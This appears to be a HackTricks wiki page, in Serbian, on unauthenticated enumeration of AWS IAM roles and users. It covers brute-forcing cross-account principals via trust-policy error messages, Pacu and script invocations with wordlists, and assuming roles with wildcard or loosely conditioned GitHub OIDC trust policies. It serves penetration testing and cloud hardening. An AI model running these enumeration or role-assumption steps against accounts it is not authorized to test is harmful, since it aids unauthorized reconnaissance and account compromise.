AWS - IAM & STS Enumeracija bez autentifikacije

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Enumeracija rola i korisničkih imena u nalogu

Assume Role Brute-Force

Caution

Ova tehnika više ne radi — bez obzira da li role postoji ili ne, uvek dobijate ovu grešku:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Možete ovo testirati pokretanjem:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Pokušaj da se preuzme role bez neophodnih dozvola pokreće AWS poruku o grešci. Na primer, ako nije autorizovan, AWS može vratiti:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Ova poruka potvrđuje postojanje role, ali ukazuje da njena assume role policy ne dozvoljava vaše preuzimanje. Nasuprot tome, pokušaj da preuzmete nepostojeću rolu dovodi do drugačije greške:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Zanimljivo je da je ova metoda za razlikovanje postojećih i nepostojećih role primenjiva čak i između različitih AWS naloga. Sa važećim AWS account ID-jem i ciljanim wordlist-om, moguće je enumerisati role prisutne na nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima.

You can use this script to enumerate potential principals abusing this issue.

Trust Policies: Brute-Force Cross Account roles and users

Konfigurisanje ili ažuriranje IAM role’s trust policy podrazumeva definisanje koje AWS resources ili services imaju dozvolu da assume that role i dobiju temporary credentials. Ako specificirani resource u policy-ju postoji, trust policy se uspešno sačuva. Međutim, ako resource ne postoji, biće generisana greška koja ukazuje da je naveden nevažeći principal.

Warning

Imajte na umu da u tom resource-u možete navesti cross account role ili user:

  • arn:aws:iam::acc_id:role/role_name
  • arn:aws:iam::acc_id:user/user_name

Ovo je primer policy-ja:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

To je greška koju ćete dobiti ako koristite ulogu koja ne postoji. Ako uloga postoji, politika će biti sačuvana bez grešaka. (Greška se javlja kod ažuriranja, ali važi i prilikom kreiranja)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Možete automatizovati ovaj proces koristeći https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Ili koristeći Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • U primeru korišćena admin role je rola u vašem nalogu koju pacu impersonira da bi kreirao politike koje su mu potrebne za enumeraciju

Privesc

U slučaju da je rola pogrešno konfigurisana i dozvoljava bilo kome da je preuzme:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Napadač bi ga mogao jednostavno preuzeti.

Federacija OIDC treće strane

Zamislite da uspete da pročitate Github Actions workflow koji pristupa role unutar AWS.
Ovo poverenje može dati pristup role sa sledećom trust policy:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Ova politika poverenja može biti ispravna, ali nedostatak dodatnih uslova treba da vam izazove nepoverenje.
To je zato što prethodnu ulogu može preuzeti BILO KO sa Github Actions! Trebalo bi u uslovima da navedete i druge stvari kao što su ime organizacije, ime repozitorijuma, env, branch…

Još jedna potencijalna pogrešna konfiguracija je da se doda uslov kao što sledi:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Imajte na umu da wildcard (*) stoji pre colon (:). Možete kreirati org kao org_name1 i assume the role iz Github Action.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks